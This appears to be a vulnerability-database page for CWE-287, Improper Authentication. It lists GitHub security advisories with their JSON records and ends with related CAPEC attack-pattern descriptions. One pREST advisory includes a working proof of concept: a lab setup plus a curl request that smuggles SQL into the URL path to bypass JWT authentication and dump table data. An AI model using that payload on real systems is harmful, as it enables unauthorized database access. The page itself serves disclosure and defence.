CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5966 vulnerabilities reference this CWE, most recent first.
GHSA-WJQ5-7847-86XM
Vulnerability from github – Published: 2023-05-04 21:30 – Updated: 2024-04-04 03:49An issue in the helper tool of Mailbutler GmbH Shimo VPN Client for macOS v5.0.4 allows attackers to bypass authentication via PID re-use.
{
"affected": [],
"aliases": [
"CVE-2023-30328"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T21:15:11Z",
"severity": "CRITICAL"
},
"details": "An issue in the helper tool of Mailbutler GmbH Shimo VPN Client for macOS v5.0.4 allows attackers to bypass authentication via PID re-use.",
"id": "GHSA-wjq5-7847-86xm",
"modified": "2024-04-04T03:49:03Z",
"published": "2023-05-04T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30328"
},
{
"type": "WEB",
"url": "https://github.com/rand0mIdas/randomideas/blob/main/ShimoVPN.md"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rand0mIdas/randomideas/main/ShimoVPN.md?token=GHSAT0AAAAAACA3WX4SPH2YYOCWGV6LLVSGZBIEKEQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJQJ-V3Q8-X4H3
Vulnerability from github – Published: 2026-07-08 00:37 – Updated: 2026-07-09 18:31Fire-Boltt Smartwatch FB BGS001 Firmware: MOY-JS14-2.0.4 is vulnerable to Improper Authentication, The device accepts GATT Write Request commands without sufficient authentication or strong session validation. Under specific conditions, previously captured BLE packets can be replayed from a nearby device to trigger functionality on the smartwatch.
{
"affected": [],
"aliases": [
"CVE-2026-37271"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T23:16:54Z",
"severity": "CRITICAL"
},
"details": "Fire-Boltt Smartwatch FB BGS001 Firmware: MOY-JS14-2.0.4 is vulnerable to Improper Authentication, The device accepts GATT Write Request commands without sufficient authentication or strong session validation. Under specific conditions, previously captured BLE packets can be replayed from a nearby device to trigger functionality on the smartwatch.",
"id": "GHSA-wjqj-v3q8-x4h3",
"modified": "2026-07-09T18:31:34Z",
"published": "2026-07-08T00:37:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37271"
},
{
"type": "WEB",
"url": "https://github.com/EmbdCDACHyd/CVE/blob/main/CVE-2026-37271/CVE-2026-37271.pdf"
},
{
"type": "WEB",
"url": "https://github.com/EmbdCDACHyd/CVE/tree/main/CVE-2026-37271"
},
{
"type": "WEB",
"url": "http://fire-boltt.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJQW-R9X4-J59V
Vulnerability from github – Published: 2026-03-17 19:50 – Updated: 2026-03-19 21:13Impact
A user can sign up without providing credentials by sending an empty authData object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled.
Patches
The fix ensures that empty or non-actionable authData is treated the same as absent authData for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present.
Workarounds
Use a Cloud Code beforeSave trigger on the _User class to reject signups where authData is empty and no username/password is provided.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.6.0-alpha.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.49"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33042"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:50:44Z",
"nvd_published_at": "2026-03-18T22:16:26Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA user can sign up without providing credentials by sending an empty `authData` object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled.\n\n### Patches\n\nThe fix ensures that empty or non-actionable `authData` is treated the same as absent `authData` for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present.\n\n### Workarounds\n\nUse a Cloud Code `beforeSave` trigger on the `_User` class to reject signups where `authData` is empty and no username/password is provided.",
"id": "GHSA-wjqw-r9x4-j59v",
"modified": "2026-03-19T21:13:56Z",
"published": "2026-03-17T19:50:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-wjqw-r9x4-j59v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33042"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10219"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10220"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server affected by empty authData bypassing credential requirement on signup"
}
GHSA-WJX4-RV24-8PR4
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34A missing check in Nextcloud Server prior to 14.0.0 could give unauthorized access to the previews of single file password protected shares.
{
"affected": [],
"aliases": [
"CVE-2018-16467"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-30T21:29:00Z",
"severity": "MODERATE"
},
"details": "A missing check in Nextcloud Server prior to 14.0.0 could give unauthorized access to the previews of single file password protected shares.",
"id": "GHSA-wjx4-rv24-8pr4",
"modified": "2022-05-13T01:34:06Z",
"published": "2022-05-13T01:34:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16467"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/231917"
},
{
"type": "WEB",
"url": "https://nextcloud.com/security/advisory/?id=NC-SA-2018-014"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WJXG-F8H5-38M5
Vulnerability from github – Published: 2023-09-11 09:31 – Updated: 2024-04-04 07:34A vulnerability exists in the Equipment Tag Out authentication, when configured with Single Sign-On (SSO) with password validation in T214. This vulnerability can be exploited by an authenticated user per-forming an Equipment Tag Out holder action (Accept, Release, and Clear) for another user and entering an arbitrary password in the holder action confirmation dialog box. Despite entering an arbitrary password in the confirmation box, the system will execute the selected holder action.
{
"affected": [],
"aliases": [
"CVE-2023-4816"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-11T08:15:07Z",
"severity": "HIGH"
},
"details": "A vulnerability exists in the Equipment Tag Out authentication, when configured with Single Sign-On (SSO) with password validation in T214. This vulnerability can be exploited by an authenticated user per-forming an Equipment Tag Out holder action (Accept, Release, and Clear) for another user and entering an arbitrary password in the holder action confirmation dialog box. Despite entering an arbitrary password in the confirmation box, the system will execute the selected holder action.",
"id": "GHSA-wjxg-f8h5-38m5",
"modified": "2024-04-04T07:34:43Z",
"published": "2023-09-11T09:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4816"
},
{
"type": "WEB",
"url": "https://images.go.hitachienergy.com/Web/ABBEnterpriseSoftware/%7B70b3d323-4866-42e1-8a75-58996729c1d4%7D_8DBD000172-VU-2023-23_Asset_Suite_Tagout_vulnerability_Rev1.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WM25-J4GW-6VR3
Vulnerability from github – Published: 2024-07-30 15:04 – Updated: 2024-08-07 14:16Summary
Probably jwt bypass + sql injection or what i'm doing wrong?
PoC (how to reproduce)
- Create following files:
docker-compose.yml:
services:
postgres:
image: postgres
container_name: postgres_container_mre
environment:
POSTGRES_USER: test_user_pg
POSTGRES_PASSWORD: test_pass_pg
POSTGRES_DB: test_db
prest:
image: prest/prest
build: .
volumes:
- ./queries:/queries
- ./migrations:/migrations
ports:
- "3000:3000"
Dockerfile:
from prest/prest:latest
COPY ./prest.toml prest.toml
prest.toml:
debug=false
migrations = "./migrations"
[http]
port = 3000
[jwt]
default = true
key = "secret"
algo = "HS256"
[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"
[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"
[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"
[expose]
enabled = true
databases = true
schemas = true
tables = true
[queries]
location = "/queries"
- run commands:
mkdir -p migrations queries
docker compose up --build -d
wait for pg and prest, then run following to add test data to the pg:
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
- SQL injection even without jwt token:
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
output:
[{"id": 1, "secret_data": "some secret text"}]
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/prest/prest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-30T15:04:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nProbably jwt bypass + sql injection\nor what i\u0027m doing wrong?\n\n### PoC (how to reproduce)\n\n1. Create following files:\n\ndocker-compose.yml:\n```\nservices:\n postgres:\n image: postgres\n container_name: postgres_container_mre\n environment:\n POSTGRES_USER: test_user_pg\n POSTGRES_PASSWORD: test_pass_pg\n POSTGRES_DB: test_db\n prest:\n image: prest/prest\n build: .\n volumes:\n - ./queries:/queries\n - ./migrations:/migrations\n ports:\n - \"3000:3000\"\n```\n\nDockerfile:\n```\nfrom prest/prest:latest\n\nCOPY ./prest.toml prest.toml\n```\n\nprest.toml:\n```\ndebug=false\nmigrations = \"./migrations\"\n\n[http]\nport = 3000\n\n[jwt]\ndefault = true\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = true\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nURL = \"postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable\"\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"/queries\"\n```\n\n\n2. run commands:\n\n```\nmkdir -p migrations queries\ndocker compose up --build -d\n```\nwait for pg and prest, then run following to add test data to the pg:\n\n```\nexport PGPASSWORD=test_pass_pg\ndocker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c \"CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\\\nINSERT INTO public.some_table (id, secret_data) VALUES (1, \u0027some secret text\u0027) ON CONFLICT DO NOTHING;\"\n```\n\n3. SQL injection even without jwt token:\n```\ncurl --location \u0027127.0.0.1:3000/test_db/public\".some_table)%20s;--/auth\u0027\n```\noutput:\n```\n[{\"id\": 1, \"secret_data\": \"some secret text\"}]\n```\n",
"id": "GHSA-wm25-j4gw-6vr3",
"modified": "2024-08-07T14:16:28Z",
"published": "2024-07-30T15:04:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3"
},
{
"type": "WEB",
"url": "https://github.com/prest/prest/commit/96ff96cfdc7ad6dd86e2289fcd5a37ee70c8926e"
},
{
"type": "PACKAGE",
"url": "https://github.com/prest/prest"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pREST vulnerable to jwt bypass + sql injection"
}
GHSA-WM2H-JPQW-93H6
Vulnerability from github – Published: 2022-05-01 23:41 – Updated: 2025-04-09 03:53ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(AGD.2) through 3.40(AHQ.3), allow remote authenticated users to obtain authentication data by making direct HTTP requests and then reading the HTML source, as demonstrated by a request for (1) RemMagSNMP.html, which discloses SNMP communities; or (2) WLAN.html, which discloses WEP keys.
{
"affected": [],
"aliases": [
"CVE-2008-1528"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-26T10:44:00Z",
"severity": "MODERATE"
},
"details": "ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(AGD.2) through 3.40(AHQ.3), allow remote authenticated users to obtain authentication data by making direct HTTP requests and then reading the HTML source, as demonstrated by a request for (1) RemMagSNMP.html, which discloses SNMP communities; or (2) WLAN.html, which discloses WEP keys.",
"id": "GHSA-wm2h-jpqw-93h6",
"modified": "2025-04-09T03:53:03Z",
"published": "2022-05-01T23:41:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1528"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41511"
},
{
"type": "WEB",
"url": "http://www.gnucitizen.org/projects/router-hacking-challenge"
},
{
"type": "WEB",
"url": "http://www.procheckup.com/Hacking_ZyXEL_Gateways.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/489009/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM2X-72W2-C6GX
Vulnerability from github – Published: 2022-05-01 23:39 – Updated: 2022-05-01 23:39Plone CMS does not record users' authentication states, and implements the logout feature solely on the client side, which makes it easier for context-dependent attackers to reuse a logged-out session.
{
"affected": [],
"aliases": [
"CVE-2008-1395"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-20T00:44:00Z",
"severity": "HIGH"
},
"details": "Plone CMS does not record users\u0027 authentication states, and implements the logout feature solely on the client side, which makes it easier for context-dependent attackers to reuse a logged-out session.",
"id": "GHSA-wm2x-72w2-c6gx",
"modified": "2022-05-01T23:39:47Z",
"published": "2022-05-01T23:39:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1395"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41423"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3754"
},
{
"type": "WEB",
"url": "http://www.procheckup.com/Hacking_Plone_CMS.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/489544/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM4W-J84Q-96XM
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 18:30Authentication Bypass vulnerability in jobx up to v1.0.1-RELEASE allows an attacker can exploit this vulnerability to access sensitive API without any token via the preHandle function.
{
"affected": [],
"aliases": [
"CVE-2024-57491"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T15:15:31Z",
"severity": "HIGH"
},
"details": "Authentication Bypass vulnerability in jobx up to v1.0.1-RELEASE allows an attacker can exploit this vulnerability to access sensitive API without any token via the preHandle function.",
"id": "GHSA-wm4w-j84q-96xm",
"modified": "2025-08-20T18:30:21Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57491"
},
{
"type": "WEB",
"url": "https://github.com/datavane/jobx/issues/48"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM5R-JW2J-WFCP
Vulnerability from github – Published: 2024-08-28 09:30 – Updated: 2024-08-28 09:30A code execution vulnerability exists in the XiaomiGetApps application product. This vulnerability is caused by the verification logic being bypassed, and an attacker can exploit this vulnerability to execute malicious code.
{
"affected": [],
"aliases": [
"CVE-2024-45346"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-28T07:15:08Z",
"severity": "HIGH"
},
"details": "A code execution vulnerability exists in the XiaomiGetApps application product. This vulnerability is caused by the verification logic being bypassed, and an attacker can exploit this vulnerability to execute malicious code.",
"id": "GHSA-wm5r-jw2j-wfcp",
"modified": "2024-08-28T09:30:34Z",
"published": "2024-08-28T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45346"
},
{
"type": "WEB",
"url": "https://trust.mi.com/misrc/bulletins/advisory?cveId=545"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.